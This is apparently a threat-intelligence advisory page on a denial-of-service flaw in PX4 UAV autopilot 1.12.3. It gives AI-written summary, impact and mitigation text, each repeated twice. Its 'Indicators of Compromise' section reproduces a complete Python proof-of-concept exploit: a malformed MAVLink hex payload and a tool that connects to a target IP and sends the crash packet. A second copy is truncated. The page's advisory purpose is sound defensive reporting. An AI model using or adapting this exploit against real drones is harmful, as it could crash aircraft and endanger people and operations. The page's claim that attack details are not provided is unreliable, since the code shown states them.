PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS)
PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS)
AI Analysis
Technical Summary
The PX4 Military UAV Autopilot version 1.12.3 is vulnerable to a Denial of Service (DoS) attack. PX4 is an open-source flight control software widely used in unmanned aerial vehicles (UAVs), including military drones. The vulnerability allows a remote attacker to disrupt the normal operation of the autopilot system, potentially causing the UAV to become unresponsive or crash. The exploit targets the autopilot software remotely, leveraging flaws in the system's handling of incoming data or commands to exhaust resources or trigger a failure state. The presence of exploit code written in Python indicates that the attack can be automated and executed with relative ease by adversaries familiar with scripting and UAV protocols. Although specific technical details such as the exact attack vector or the underlying flaw are not provided, the DoS nature implies that the attacker does not need to gain control over the UAV but only needs to send crafted inputs to interrupt its operation. This vulnerability is particularly critical in military contexts where UAVs perform reconnaissance, surveillance, or combat roles, as disruption could lead to mission failure or unintended collateral damage.
Potential Impact
For European organizations, especially defense contractors, military units, and government agencies operating or relying on PX4-based UAVs, this vulnerability poses a significant operational risk. A successful DoS attack could incapacitate UAVs during critical missions, leading to loss of situational awareness, intelligence gaps, or compromised security operations. Beyond military applications, civilian agencies using PX4 UAVs for border control, disaster response, or infrastructure monitoring could also face service interruptions. The disruption of UAV autopilot systems can result in physical damage to the drones, potential safety hazards in populated areas, and financial losses due to UAV downtime or replacement costs. Given the increasing reliance on UAVs in European defense and civil sectors, this vulnerability could undermine trust in autonomous systems and complicate mission planning and execution.
Mitigation Recommendations
To mitigate this threat, European organizations should prioritize updating the PX4 autopilot software to a patched version once available. In the absence of an official patch, organizations should implement network-level protections such as strict filtering and segmentation to limit access to UAV control interfaces only to trusted sources. Employing intrusion detection systems (IDS) tailored to UAV communication protocols can help identify and block anomalous traffic indicative of DoS attempts. Additionally, UAV operators should enforce strong authentication and encryption on command and telemetry channels to prevent unauthorized access. Regular security audits and penetration testing of UAV systems can help identify weaknesses before exploitation. Finally, contingency plans should be developed to safely recover or disable UAVs experiencing autopilot failures to minimize physical and operational risks.
Affected Countries
France, Germany, United Kingdom, Italy, Spain, Poland, Sweden, Netherlands
Indicators of Compromise
- exploit-code: # Exploit Title: PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS) # Author: Mohammed Idrees Banyamer (@banyamer_security) # GitHub: https://github.com/mbanyamer # Date: 2025-06-21 # Tested on: Ubuntu 20.04 LTS + PX4 SITL (jMAVSim) # CVE: CVE-2025-5640 # Type: Denial of Service (DoS) via Buffer Overflow # Platform: Cross-platform (Military UAVs / PX4 SITL / Linux-based autopilot ground station) # Author Country: Jordan # Description: # A stack-based buffer overflow vulnerability in PX4 Military UAV Autopilot <=1.12.3 is triggered # when handling a malformed MAVLink message of type TRAJECTORY_REPRESENTATION_WAYPOINTS. # An attacker with access to the MAVLink communication channel can send a crafted packet # to crash the autopilot, potentially disrupting military UAV operations. This exploit demonstrates # a proof-of-concept that causes the PX4 autopilot to crash via UDP. import argparse import binascii from pymavlink import mavutil import sys # Exploit payload (malformed MAVLink hex) hex_payload = ( "fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352" "c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b78" "12731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6" ) def connect_to_px4(ip, port, timeout, verbose=False): try: if verbose: print(f"[*] Connecting to PX4 at udp:{ip}:{port} ...") master = mavutil.mavlink_connection(f"udp:{ip}:{port}") master.wait_heartbeat(timeout=timeout) if verbose: print("[+] PX4 heartbeat received. Connection OK.") return master except Exception as e: print(f"[!] Error connecting to PX4: {e}") sys.exit(1) def send_dos_packet(master, verbose=False): try: payload = binascii.unhexlify(hex_payload) master.write(payload) print("[+] Exploit packet sent. Monitor PX4 for crash.") except Exception as e: print(f"[!] Failed to send payload: {e}") sys.exit(1) def main(): usage = """ PX4 Exploit Tool - CVE-2025-5640 ================================= Exploit a buffer overflow vulnerability in PX4 autopilot via MAVLink. USAGE: python3 px4_exploit_tool.py [OPTIONS] EXAMPLES: # Run DoS attack on default PX4 SITL python3 px4_exploit_tool.py --mode dos # Test connectivity to a real drone python3 px4_exploit_tool.py --mode check --ip 192.168.10.10 --port 14550 OPTIONS: --ip Target IP address (default: 127.0.0.1) --port Target UDP port (default: 14540) --mode Mode of operation: dos (default), check --timeout Timeout in seconds for heartbeat (default: 5) --verbose Enable verbose output """ parser = argparse.ArgumentParser( description="PX4 MAVLink DoS Exploit Tool (CVE-2025-5640) by @banyamer_security", epilog=usage, formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument("--ip", default="127.0.0.1", help="Target IP address (default: 127.0.0.1)") parser.add_argument("--port", type=int, default=14540, help="Target UDP port (default: 14540)") parser.add_argument("--timeout", type=int, default=5, help="Timeout in seconds for heartbeat (default: 5)") parser.add_argument("--mode", choices=["dos", "check"], default="dos", help="Mode: dos (default) or check connection") parser.add_argument("--verbose", action="store_true", help="Enable verbose output") args = parser.parse_args() master = connect_to_px4(args.ip, args.port, args.timeout, args.verbose) if args.mode == "check": print("[*] PX4 is alive. Connection test passed.") elif args.mode == "dos": send_dos_packet(master, args.verbose) if __name__ == "__main__": main()
PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS)
Description
PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS)
AI-Powered Analysis
Technical Analysis
The PX4 Military UAV Autopilot version 1.12.3 is vulnerable to a Denial of Service (DoS) attack. PX4 is an open-source flight control software widely used in unmanned aerial vehicles (UAVs), including military drones. The vulnerability allows a remote attacker to disrupt the normal operation of the autopilot system, potentially causing the UAV to become unresponsive or crash. The exploit targets the autopilot software remotely, leveraging flaws in the system's handling of incoming data or commands to exhaust resources or trigger a failure state. The presence of exploit code written in Python indicates that the attack can be automated and executed with relative ease by adversaries familiar with scripting and UAV protocols. Although specific technical details such as the exact attack vector or the underlying flaw are not provided, the DoS nature implies that the attacker does not need to gain control over the UAV but only needs to send crafted inputs to interrupt its operation. This vulnerability is particularly critical in military contexts where UAVs perform reconnaissance, surveillance, or combat roles, as disruption could lead to mission failure or unintended collateral damage.
Potential Impact
For European organizations, especially defense contractors, military units, and government agencies operating or relying on PX4-based UAVs, this vulnerability poses a significant operational risk. A successful DoS attack could incapacitate UAVs during critical missions, leading to loss of situational awareness, intelligence gaps, or compromised security operations. Beyond military applications, civilian agencies using PX4 UAVs for border control, disaster response, or infrastructure monitoring could also face service interruptions. The disruption of UAV autopilot systems can result in physical damage to the drones, potential safety hazards in populated areas, and financial losses due to UAV downtime or replacement costs. Given the increasing reliance on UAVs in European defense and civil sectors, this vulnerability could undermine trust in autonomous systems and complicate mission planning and execution.
Mitigation Recommendations
To mitigate this threat, European organizations should prioritize updating the PX4 autopilot software to a patched version once available. In the absence of an official patch, organizations should implement network-level protections such as strict filtering and segmentation to limit access to UAV control interfaces only to trusted sources. Employing intrusion detection systems (IDS) tailored to UAV communication protocols can help identify and block anomalous traffic indicative of DoS attempts. Additionally, UAV operators should enforce strong authentication and encryption on command and telemetry channels to prevent unauthorized access. Regular security audits and penetration testing of UAV systems can help identify weaknesses before exploitation. Finally, contingency plans should be developed to safely recover or disable UAVs experiencing autopilot failures to minimize physical and operational risks.
Affected Countries
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Technical Details
- Edb Id
- 52339
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS)
# Exploit Title: PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS) # Author: Mohammed Idrees Banyamer (@banyamer_security) # GitHub: https://github.com/mbanyamer # Date: 2025-06-21 # Tested on: Ubuntu 20.04 LTS + PX4 SITL (jMAVSim) # CVE: CVE-2025-5640 # Type: Denial of Service (DoS) via Buffer Overflow # Platform: Cross-platform (Military UAVs / PX4 SITL / Linux-based autopilot ground station) # Author Country: Jordan # Description: # A stack-based buffer overflow vulnerability in P... (3472 more characters)
Threat ID: 685cf039be005fe9be6e5a68
Added to database: 6/26/2025, 7:01:13 AM
Last enriched: 7/16/2025, 9:25:07 PM
Last updated: 8/16/2025, 3:25:36 PM
Views: 47
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